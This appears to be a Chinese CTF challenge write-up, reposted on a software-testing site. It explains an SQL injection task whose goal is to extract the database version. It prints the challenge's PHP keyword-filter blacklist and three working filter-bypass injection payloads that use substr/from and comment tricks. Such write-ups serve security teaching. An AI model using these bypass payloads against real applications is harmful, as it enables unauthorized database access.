一次出题经历之SQL注入(要求注射出数据库版本)

发表于:2016-12-12 09:56

字体: | 上一篇 | 下一篇 | 我要投稿

 作者:Mosuan's Blog    来源:51Testing软件测试网采编

#
SQL
分享:
  要求:注入出数据库版本
  http://123.xxx.xx.220/ctf4/xxxx_web_sql.php
  参数是什么自己找,参数等于1-5都有数据。
  不断地绕过,不断地突破防御机制,考验的是一个安全研究者对于漏洞原理的理解,更是猥琐的思路。 借用p神一句话。
  参数这块很多人没找到,我在题目里面就说了:"听说这部动漫的片头曲很好听!!",配图就是东京食尸鬼主角金木研,所以参数就是歌曲名称,unravel。
  从代码说起,用递归函数来过滤掉一些字符
function reg_replace($reg, $strs){
preg_match($reg, $strs, $result);
if(count($result) == 1){
$aa = preg_replace($reg,'',$strs);
return reg_replace($reg, $aa);
}else{
return $strs;
}
}
  过滤的字符如下:
  $reg = "/union|select|\/\*\*\/|order|\)=|subset|gtid|st_|concat|if|or|table|where|in|file|left|right|limit|reg|ord|cate|name|info|into|'[a-z0-9]|\\|group|bin|floor|md5|base|benchmark|@@version|updatexml|value|exp|by|xor|sleep|substring|varsion\(\)|user|data|:|delete|update|insert|\s|\#|\-\-|,|mid|ascii/";
  可以看到过滤很多东西,逗号之类的,还有很多关键词。
  这里写错了一个单词很尴尬...version写成了varsion,不然绕过还得查查手册。
  http://www.0aa.me/index.php/archives/38/ 看过我这篇文章应该就能想到了subtring,但是这里过滤了substring,但是可以用substr,一样的效果。
  凯爷的poc: 1'/ 1 /and/ 1 /SUBstr(version()/ 1 /from(1))/ 1 /like/ 1 /'%5.5
  %'/ 1 /and/ !, /''='
  undefined的poc: ' ||(substr(version()from(21)))!=0x302e31||'
  我的poc:%27/ 2 /and/ x /substr(@@GLOBAL.VERSION/ 1 /from/ 1 /6)/ 1 /=0x30/ 1 /||/ x /%27
精选软件测试好文,快来阅读吧~

关注51Testing

联系我们

快捷面板 站点地图 联系我们 广告服务 关于我们 站长统计 发展历程

法律顾问:上海兰迪律师事务所 项棋律师
版权所有 上海博为峰软件技术股份有限公司 Copyright©51testing.com 2003-2024
投诉及意见反馈:webmaster@51testing.com; 业务联系:service@51testing.com 021-64471599-8017

沪ICP备05003035号

沪公网安备 31010102002173号